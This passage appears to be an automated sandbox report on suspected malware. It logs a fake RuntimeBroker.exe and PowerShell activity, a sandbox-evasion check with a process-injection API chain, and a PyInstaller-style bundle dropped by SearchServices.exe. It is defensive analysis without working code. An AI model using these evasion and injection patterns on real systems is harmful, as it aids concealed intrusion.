Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe

Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,FindCloseChangeNotification,CloseHandle,

42_2_00000001400010C0

Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Memory allocated: 19E9FE30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Memory allocated: 19EB9930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Memory allocated: 11E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Memory allocated: 1ACC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Memory allocated: 2820000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Memory allocated: 1A820000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe

Code function: 10_2_00007FFD9B9FF1F2 str ax

10_2_00007FFD9B9FF1F2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R3nzSkin_Injector.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Update.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6272	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1709	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Window / User API: threadDelayed 6739	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Window / User API: threadDelayed 2888	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8657
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1763
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 628
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 4292
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 5708
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 7564
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 2409
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1638
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9852

Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\win32\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\win32com\shell\shell.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\win32\win32trace.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\pywin32_system32\pywintypes310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\Pythonwin\win32ui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
